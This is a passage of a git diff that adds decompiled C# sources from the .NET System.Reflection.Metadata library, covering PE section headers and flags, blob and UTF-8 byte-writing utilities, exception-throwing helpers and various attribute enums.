b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptions.cs new file mode 100644 index 0000000..91de5e6 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptions.cs @@ -0,0 +1,11 @@ +namespace System.Reflection.PortableExecutable; + +[Flags] +public enum PEStreamOptions +{ + Default = 0, + LeaveOpen = 1, + PrefetchMetadata = 2, + PrefetchEntireImage = 4, + IsLoadedImage = 8 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptionsExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptionsExtensions.cs new file mode 100644 index 0000000..53d23bb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PEStreamOptionsExtensions.cs @@ -0,0 +1,9 @@ +namespace System.Reflection.PortableExecutable; + +internal static class PEStreamOptionsExtensions +{ + public static bool IsValid(this PEStreamOptions options) + { + return (options & ~(PEStreamOptions.LeaveOpen | PEStreamOptions.PrefetchMetadata | PEStreamOptions.PrefetchEntireImage | PEStreamOptions.IsLoadedImage)) == 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PdbChecksumDebugDirectoryData.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PdbChecksumDebugDirectoryData.cs new file mode 100644 index 0000000..f70430c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/PdbChecksumDebugDirectoryData.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; + +namespace System.Reflection.PortableExecutable; + +public readonly struct PdbChecksumDebugDirectoryData +{ + public string AlgorithmName { get; } + + public ImmutableArray Checksum { get; } + + internal PdbChecksumDebugDirectoryData(string algorithmName, ImmutableArray checksum) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + AlgorithmName = algorithmName; + Checksum = checksum; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ResourceSectionBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ResourceSectionBuilder.cs new file mode 100644 index 0000000..30d10ff --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/ResourceSectionBuilder.cs @@ -0,0 +1,8 @@ +using System.Reflection.Metadata; + +namespace System.Reflection.PortableExecutable; + +public abstract class ResourceSectionBuilder +{ + protected internal abstract void Serialize(BlobBuilder builder, SectionLocation location); +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionCharacteristics.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionCharacteristics.cs new file mode 100644 index 0000000..19c0360 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionCharacteristics.cs @@ -0,0 +1,52 @@ +namespace System.Reflection.PortableExecutable; + +[Flags] +public enum SectionCharacteristics : uint +{ + TypeReg = 0u, + TypeDSect = 1u, + TypeNoLoad = 2u, + TypeGroup = 4u, + TypeNoPad = 8u, + TypeCopy = 0x10u, + ContainsCode = 0x20u, + ContainsInitializedData = 0x40u, + ContainsUninitializedData = 0x80u, + LinkerOther = 0x100u, + LinkerInfo = 0x200u, + TypeOver = 0x400u, + LinkerRemove = 0x800u, + LinkerComdat = 0x1000u, + MemProtected = 0x4000u, + NoDeferSpecExc = 0x4000u, + GPRel = 0x8000u, + MemFardata = 0x8000u, + MemSysheap = 0x10000u, + MemPurgeable = 0x20000u, + Mem16Bit = 0x20000u, + MemLocked = 0x40000u, + MemPreload = 0x80000u, + Align1Bytes = 0x100000u, + Align2Bytes = 0x200000u, + Align4Bytes = 0x300000u, + Align8Bytes = 0x400000u, + Align16Bytes = 0x500000u, + Align32Bytes = 0x600000u, + Align64Bytes = 0x700000u, + Align128Bytes = 0x800000u, + Align256Bytes = 0x900000u, + Align512Bytes = 0xA00000u, + Align1024Bytes = 0xB00000u, + Align2048Bytes = 0xC00000u, + Align4096Bytes = 0xD00000u, + Align8192Bytes = 0xE00000u, + AlignMask = 0xF00000u, + LinkerNRelocOvfl = 0x1000000u, + MemDiscardable = 0x2000000u, + MemNotCached = 0x4000000u, + MemNotPaged = 0x8000000u, + MemShared = 0x10000000u, + MemExecute = 0x20000000u, + MemRead = 0x40000000u, + MemWrite = 0x80000000u +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionHeader.cs new file mode 100644 index 0000000..1207108 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionHeader.cs @@ -0,0 +1,42 @@ +namespace System.Reflection.PortableExecutable; + +public readonly struct SectionHeader +{ + internal const int NameSize = 8; + + internal const int Size = 40; + + public string Name { get; } + + public int VirtualSize { get; } + + public int VirtualAddress { get; } + + public int SizeOfRawData { get; } + + public int PointerToRawData { get; } + + public int PointerToRelocations { get; } + + public int PointerToLineNumbers { get; } + + public ushort NumberOfRelocations { get; } + + public ushort NumberOfLineNumbers { get; } + + public SectionCharacteristics SectionCharacteristics { get; } + + internal SectionHeader(ref PEBinaryReader reader) + { + Name = reader.ReadNullPaddedUTF8(8); + VirtualSize = reader.ReadInt32(); + VirtualAddress = reader.ReadInt32(); + SizeOfRawData = reader.ReadInt32(); + PointerToRawData = reader.ReadInt32(); + PointerToRelocations = reader.ReadInt32(); + PointerToLineNumbers = reader.ReadInt32(); + NumberOfRelocations = reader.ReadUInt16(); + NumberOfLineNumbers = reader.ReadUInt16(); + SectionCharacteristics = (SectionCharacteristics)reader.ReadUInt32(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionLocation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionLocation.cs new file mode 100644 index 0000000..b1a9bab --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/SectionLocation.cs @@ -0,0 +1,14 @@ +namespace System.Reflection.PortableExecutable; + +public readonly struct SectionLocation +{ + public int RelativeVirtualAddress { get; } + + public int PointerToRawData { get; } + + public SectionLocation(int relativeVirtualAddress, int pointerToRawData) + { + RelativeVirtualAddress = relativeVirtualAddress; + PointerToRawData = pointerToRawData; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Subsystem.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Subsystem.cs new file mode 100644 index 0000000..9cceddd --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.PortableExecutable/Subsystem.cs @@ -0,0 +1,19 @@ +namespace System.Reflection.PortableExecutable; + +public enum Subsystem : ushort +{ + Unknown = 0, + Native = 1, + WindowsGui = 2, + WindowsCui = 3, + OS2Cui = 5, + PosixCui = 7, + NativeWindows = 8, + WindowsCEGui = 9, + EfiApplication = 10, + EfiBootServiceDriver = 11, + EfiRuntimeDriver = 12, + EfiRom = 13, + Xbox = 14, + WindowsBootApplication = 16 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyFlags.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyFlags.cs new file mode 100644 index 0000000..9461572 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyFlags.cs @@ -0,0 +1,12 @@ +namespace System.Reflection; + +[Flags] +public enum AssemblyFlags +{ + PublicKey = 1, + Retargetable = 0x100, + WindowsRuntime = 0x200, + ContentTypeMask = 0xE00, + DisableJitCompileOptimizer = 0x4000, + EnableJitCompileTracking = 0x8000 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyHashAlgorithm.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyHashAlgorithm.cs new file mode 100644 index 0000000..98f498c --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/AssemblyHashAlgorithm.cs @@ -0,0 +1,11 @@ +namespace System.Reflection; + +public enum AssemblyHashAlgorithm +{ + None = 0, + MD5 = 32771, + Sha1 = 32772, + Sha256 = 32780, + Sha384 = 32781, + Sha512 = 32782 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/BlobUtilities.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/BlobUtilities.cs new file mode 100644 index 0000000..91c4fad --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/BlobUtilities.cs @@ -0,0 +1,324 @@ +using System.Collections.Immutable; +using System.Reflection.Internal; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Reflection; + +internal static class BlobUtilities +{ + public const int SizeOfSerializedDecimal = 13; + + public const int SizeOfGuid = 16; + + public unsafe static byte[] ReadBytes(byte* buffer, int byteCount) + { + if (byteCount == 0) + { + return Array.Empty(); + } + byte[] array = new byte[byteCount]; + Marshal.Copy((IntPtr)buffer, array, 0, byteCount); + return array; + } + + public unsafe static ImmutableArray ReadImmutableBytes(byte* buffer, int byteCount) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + byte[] array = ReadBytes(buffer, byteCount); + return ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array); + } + + public unsafe static void WriteBytes(this byte[] buffer, int start, byte value, int byteCount) + { + fixed (byte* ptr = &buffer[0]) + { + byte* ptr2 = ptr + start; + for (int i = 0; i < byteCount; i++) + { + ptr2[i] = value; + } + } + } + + public unsafe static void WriteDouble(this byte[] buffer, int start, double value) + { + buffer.WriteUInt64(start, *(ulong*)(&value)); + } + + public unsafe static void WriteSingle(this byte[] buffer, int start, float value) + { + buffer.WriteUInt32(start, *(uint*)(&value)); + } + + public static void WriteByte(this byte[] buffer, int start, byte value) + { + buffer[start] = value; + } + + public unsafe static void WriteUInt16(this byte[] buffer, int start, ushort value) + { + fixed (byte* ptr = &buffer[start]) + { + *ptr = (byte)value; + ptr[1] = (byte)(value >> 8); + } + } + + public unsafe static void WriteUInt16BE(this byte[] buffer, int start, ushort value) + { + fixed (byte* ptr = &buffer[start]) + { + *ptr = (byte)(value >> 8); + ptr[1] = (byte)value; + } + } + + public unsafe static void WriteUInt32BE(this byte[] buffer, int start, uint value) + { + fixed (byte* ptr = &buffer[start]) + { + *ptr = (byte)(value >> 24); + ptr[1] = (byte)(value >> 16); + ptr[2] = (byte)(value >> 8); + ptr[3] = (byte)value; + } + } + + public unsafe static void WriteUInt32(this byte[] buffer, int start, uint value) + { + fixed (byte* ptr = &buffer[start]) + { + *ptr = (byte)value; + ptr[1] = (byte)(value >> 8); + ptr[2] = (byte)(value >> 16); + ptr[3] = (byte)(value >> 24); + } + } + + public static void WriteUInt64(this byte[] buffer, int start, ulong value) + { + buffer.WriteUInt32(start, (uint)value); + buffer.WriteUInt32(start + 4, (uint)(value >> 32)); + } + + public static void WriteDecimal(this byte[] buffer, int start, decimal value) + { + value.GetBits(out var isNegative, out var scale, out var low, out var mid, out var high); + buffer.WriteByte(start, (byte)(scale | (isNegative ? 128 : 0))); + buffer.WriteUInt32(start + 1, low); + buffer.WriteUInt32(start + 5, mid); + buffer.WriteUInt32(start + 9, high); + } + + public unsafe static void WriteGuid(this byte[] buffer, int start, Guid value) + { + fixed (byte* ptr = &buffer[start]) + { + byte* ptr2 = (byte*)(&value); + uint num = *(uint*)ptr2; + *ptr = (byte)num; + ptr[1] = (byte)(num >> 8); + ptr[2] = (byte)(num >> 16); + ptr[3] = (byte)(num >> 24); + ushort num2 = ((ushort*)ptr2)[2]; + ptr[4] = (byte)num2; + ptr[5] = (byte)(num2 >> 8); + ushort num3 = ((ushort*)ptr2)[3]; + ptr[6] = (byte)num3; + ptr[7] = (byte)(num3 >> 8); + ptr[8] = ptr2[8]; + ptr[9] = ptr2[9]; + ptr[10] = ptr2[10]; + ptr[11] = ptr2[11]; + ptr[12] = ptr2[12]; + ptr[13] = ptr2[13]; + ptr[14] = ptr2[14]; + ptr[15] = ptr2[15]; + } + } + + public unsafe static void WriteUTF8(this byte[] buffer, int start, char* charPtr, int charCount, int byteCount, bool allowUnpairedSurrogates) + { + char* ptr = charPtr + charCount; + fixed (byte* ptr2 = &buffer[0]) + { + byte* ptr3 = ptr2 + start; + if (byteCount == charCount) + { + while (charPtr < ptr) + { + *(ptr3++) = (byte)(*(charPtr++)); + } + return; + } + while (charPtr < ptr) + { + char c = *(charPtr++); + if (c < '\u0080') + { + *(ptr3++) = (byte)c; + continue; + } + if (c < 'ࠀ') + { + *ptr3 = (byte)((((int)c >> 6) & 0x1F) | 0xC0); + ptr3[1] = (byte)((c & 0x3F) | 0x80); + ptr3 += 2; + continue; + } + if (IsSurrogateChar(c)) + { + if (IsHighSurrogateChar(c) && charPtr < ptr && IsLowSurrogateChar(*charPtr)) + { + int num = c; + int num2 = *(charPtr++); + int num3 = (num - 55296 << 10) + num2 - 56320 + 65536; + *ptr3 = (byte)(((num3 >> 18) & 7) | 0xF0); + ptr3[1] = (byte)(((num3 >> 12) & 0x3F) | 0x80); + ptr3[2] = (byte)(((num3 >> 6) & 0x3F) | 0x80); + ptr3[3] = (byte)((num3 & 0x3F) | 0x80); + ptr3 += 4; + continue; + } + if (!allowUnpairedSurrogates) + { + c = '\ufffd'; + } + } + *ptr3 = (byte)((((int)c >> 12) & 0xF) | 0xE0); + ptr3[1] = (byte)((((int)c >> 6) & 0x3F) | 0x80); + ptr3[2] = (byte)((c & 0x3F) | 0x80); + ptr3 += 3; + } + } + } + + internal unsafe static int GetUTF8ByteCount(string str) + { + fixed (char* str2 = str) + { + return GetUTF8ByteCount(str2, str.Length); + } + } + + internal unsafe static int GetUTF8ByteCount(char* str, int charCount) + { + char* remainder; + return GetUTF8ByteCount(str, charCount, int.MaxValue, out remainder); + } + + internal unsafe static int GetUTF8ByteCount(char* str, int charCount, int byteLimit, out char* remainder) + { + char* ptr = str + charCount; + char* ptr2 = str; + int num = 0; + while (ptr2 < ptr) + { + char c = *(ptr2++); + int num2; + if (c < '\u0080') + { + num2 = 1; + } + else if (c < 'ࠀ') + { + num2 = 2; + } + else if (IsHighSurrogateChar(c) && ptr2 < ptr && IsLowSurrogateChar(*ptr2)) + { + num2 = 4; + ptr2++; + } + else + { + num2 = 3; + } + if (num + num2 > byteLimit) + { + ptr2 -= ((num2 < 4) ? 1 : 2); + break; + } + num += num2; + } + remainder = ptr2; + return num; + } + + internal static bool IsSurrogateChar(int c) + { + return (uint)(c - 55296) <= 2047u; + } + + internal static bool IsHighSurrogateChar(int c) + { + return (uint)(c - 55296) <= 1023u; + } + + internal static bool IsLowSurrogateChar(int c) + { + return (uint)(c - 56320) <= 1023u; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static void ValidateRange(int bufferLength, int start, int byteCount, string byteCountParameterName) + { + if (start < 0 || start > bufferLength) + { + Throw.ArgumentOutOfRange("start"); + } + if (byteCount < 0 || byteCount > bufferLength - start) + { + Throw.ArgumentOutOfRange(byteCountParameterName); + } + } + + internal static int GetUserStringByteLength(int characterCount) + { + return characterCount * 2 + 1; + } + + internal static byte GetUserStringTrailingByte(string str) + { + foreach (char c in str) + { + if (c >= '\u007f') + { + return 1; + } + switch ((int)c) + { + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 14: + case 15: + case 16: + case 17: + case 18: + case 19: + case 20: + case 21: + case 22: + case 23: + case 24: + case 25: + case 26: + case 27: + case 28: + case 29: + case 30: + case 31: + case 39: + case 45: + return 1; + } + } + return 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/DeclarativeSecurityAction.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/DeclarativeSecurityAction.cs new file mode 100644 index 0000000..c920034 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/DeclarativeSecurityAction.cs @@ -0,0 +1,15 @@ +namespace System.Reflection; + +public enum DeclarativeSecurityAction : short +{ + None = 0, + Demand = 2, + Assert = 3, + Deny = 4, + PermitOnly = 5, + LinkDemand = 6, + InheritanceDemand = 7, + RequestMinimum = 8, + RequestOptional = 9, + RequestRefuse = 10 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/ManifestResourceAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/ManifestResourceAttributes.cs new file mode 100644 index 0000000..1f05123 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/ManifestResourceAttributes.cs @@ -0,0 +1,9 @@ +namespace System.Reflection; + +[Flags] +public enum ManifestResourceAttributes +{ + Public = 1, + Private = 2, + VisibilityMask = 7 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodImportAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodImportAttributes.cs new file mode 100644 index 0000000..bfc36d0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodImportAttributes.cs @@ -0,0 +1,25 @@ +namespace System.Reflection; + +[Flags] +public enum MethodImportAttributes : short +{ + None = 0, + ExactSpelling = 1, + BestFitMappingDisable = 0x20, + BestFitMappingEnable = 0x10, + BestFitMappingMask = 0x30, + CharSetAnsi = 2, + CharSetUnicode = 4, + CharSetAuto = 6, + CharSetMask = 6, + ThrowOnUnmappableCharEnable = 0x1000, + ThrowOnUnmappableCharDisable = 0x2000, + ThrowOnUnmappableCharMask = 0x3000, + SetLastError = 0x40, + CallingConventionWinApi = 0x100, + CallingConventionCDecl = 0x200, + CallingConventionStdCall = 0x300, + CallingConventionThisCall = 0x400, + CallingConventionFastCall = 0x500, + CallingConventionMask = 0x700 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodSemanticsAttributes.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodSemanticsAttributes.cs new file mode 100644 index 0000000..05d7a85 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/MethodSemanticsAttributes.cs @@ -0,0 +1,12 @@ +namespace System.Reflection; + +[Flags] +public enum MethodSemanticsAttributes +{ + Setter = 1, + Getter = 2, + Other = 4, + Adder = 8, + Remover = 0x10, + Raiser = 0x20 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/Throw.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/Throw.cs new file mode 100644 index 0000000..1334799 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/Throw.cs @@ -0,0 +1,303 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Runtime.CompilerServices; + +namespace System.Reflection; + +internal static class Throw +{ + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidCast() + { + throw new InvalidCastException(); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidArgument(string message, string parameterName) + { + throw new ArgumentException(message, parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidArgument_OffsetForVirtualHeapHandle() + { + throw new ArgumentException(System.SR.CantGetOffsetForVirtualHeapHandle, "handle"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static Exception InvalidArgument_UnexpectedHandleKind(HandleKind kind) + { + throw new ArgumentException(System.SR.Format(System.SR.UnexpectedHandleKind, kind)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static Exception InvalidArgument_Handle(string parameterName) + { + throw new ArgumentException(System.SR.InvalidHandle, parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void SignatureNotVarArg() + { + throw new InvalidOperationException(System.SR.SignatureNotVarArg); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ControlFlowBuilderNotAvailable() + { + throw new InvalidOperationException(System.SR.ControlFlowBuilderNotAvailable); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidOperationBuilderAlreadyLinked() + { + throw new InvalidOperationException(System.SR.BuilderAlreadyLinked); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidOperation(string message) + { + throw new InvalidOperationException(message); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidOperation_LabelNotMarked(int id) + { + throw new InvalidOperationException(System.SR.Format(System.SR.LabelNotMarked, id)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void LabelDoesntBelongToBuilder(string parameterName) + { + throw new ArgumentException(System.SR.LabelDoesntBelongToBuilder, parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void HeapHandleRequired() + { + throw new ArgumentException(System.SR.NotMetadataHeapHandle, "handle"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void EntityOrUserStringHandleRequired() + { + throw new ArgumentException(System.SR.NotMetadataTableOrUserStringHandle, "handle"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidToken() + { + throw new ArgumentException(System.SR.InvalidToken, "token"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ArgumentNull(string parameterName) + { + throw new ArgumentNullException(parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ArgumentEmptyString(string parameterName) + { + throw new ArgumentException(System.SR.ExpectedNonEmptyString, parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ArgumentEmptyArray(string parameterName) + { + throw new ArgumentException(System.SR.ExpectedNonEmptyArray, parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ValueArgumentNull() + { + throw new ArgumentNullException("value"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void BuilderArgumentNull() + { + throw new ArgumentNullException("builder"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ArgumentOutOfRange(string parameterName) + { + throw new ArgumentOutOfRangeException(parameterName); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ArgumentOutOfRange(string parameterName, string message) + { + throw new ArgumentOutOfRangeException(parameterName, message); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void BlobTooLarge(string parameterName) + { + throw new ArgumentOutOfRangeException(parameterName, System.SR.BlobTooLarge); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void IndexOutOfRange() + { + throw new ArgumentOutOfRangeException("index"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void TableIndexOutOfRange() + { + throw new ArgumentOutOfRangeException("tableIndex"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ValueArgumentOutOfRange() + { + throw new ArgumentOutOfRangeException("value"); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void OutOfBounds() + { + throw new BadImageFormatException(System.SR.OutOfBoundsRead); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void WriteOutOfBounds() + { + throw new InvalidOperationException(System.SR.OutOfBoundsWrite); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidCodedIndex() + { + throw new BadImageFormatException(System.SR.InvalidCodedIndex); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidHandle() + { + throw new BadImageFormatException(System.SR.InvalidHandle); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidCompressedInteger() + { + throw new BadImageFormatException(System.SR.InvalidCompressedInteger); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidSerializedString() + { + throw new BadImageFormatException(System.SR.InvalidSerializedString); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ImageTooSmall() + { + throw new BadImageFormatException(System.SR.ImageTooSmall); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ImageTooSmallOrContainsInvalidOffsetOrCount() + { + throw new BadImageFormatException(System.SR.ImageTooSmallOrContainsInvalidOffsetOrCount); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ReferenceOverflow() + { + throw new BadImageFormatException(System.SR.RowIdOrHeapOffsetTooLarge); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void TableNotSorted(TableIndex tableIndex) + { + throw new BadImageFormatException(System.SR.Format(System.SR.MetadataTableNotSorted, tableIndex)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidOperation_TableNotSorted(TableIndex tableIndex) + { + throw new InvalidOperationException(System.SR.Format(System.SR.MetadataTableNotSorted, tableIndex)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void InvalidOperation_PEImageNotAvailable() + { + throw new InvalidOperationException(System.SR.PEImageNotAvailable); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void TooManySubnamespaces() + { + throw new BadImageFormatException(System.SR.TooManySubnamespaces); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void ValueOverflow() + { + throw new BadImageFormatException(System.SR.ValueTooLarge); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void SequencePointValueOutOfRange() + { + throw new BadImageFormatException(System.SR.SequencePointValueOutOfRange); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void HeapSizeLimitExceeded(HeapIndex heap) + { + throw new ImageFormatLimitationException(System.SR.Format(System.SR.HeapSizeLimitExceeded, heap)); + } + + [MethodImpl(MethodImplOptions.NoInlining)] + [DoesNotReturn] + internal static void PEReaderDisposed() + { + throw new ObjectDisposedException("PEReader"); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection/TypeAttributesExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection/TypeAttributesExtensions.cs new file mode 100644 index 0000000..d68e957 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection/TypeAttributesExtensions.cs @@ -0,0 +1,18 @@ +namespace System.Reflection; + +internal static class TypeAttributesExtensions +{ + private const TypeAttributes Forwarder = (TypeAttributes)2097152; + + private const TypeAttributes NestedMask = TypeAttributes.NestedFamANDAssem; + + public static bool IsForwarder(this TypeAttributes flags) + { + return (flags & (TypeAttributes)2097152) != 0; + } + + public static bool IsNested(this TypeAttributes flags) + { + return (flags & TypeAttributes.NestedFamANDAssem) != 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..af74d8a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string? EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type? StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System/SR.cs b/decompiled/Libraries/system.reflection.metadata/System/SR.cs new file mode 100644 index 0000000..73874c5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System/SR.cs @@ -0,0 +1,357 @@ +using System.Resources; +using FxResources.System.Reflection.Metadata; + +namespace System; + +internal static class SR +{ + private static readonly bool s_usingResourceKeys = 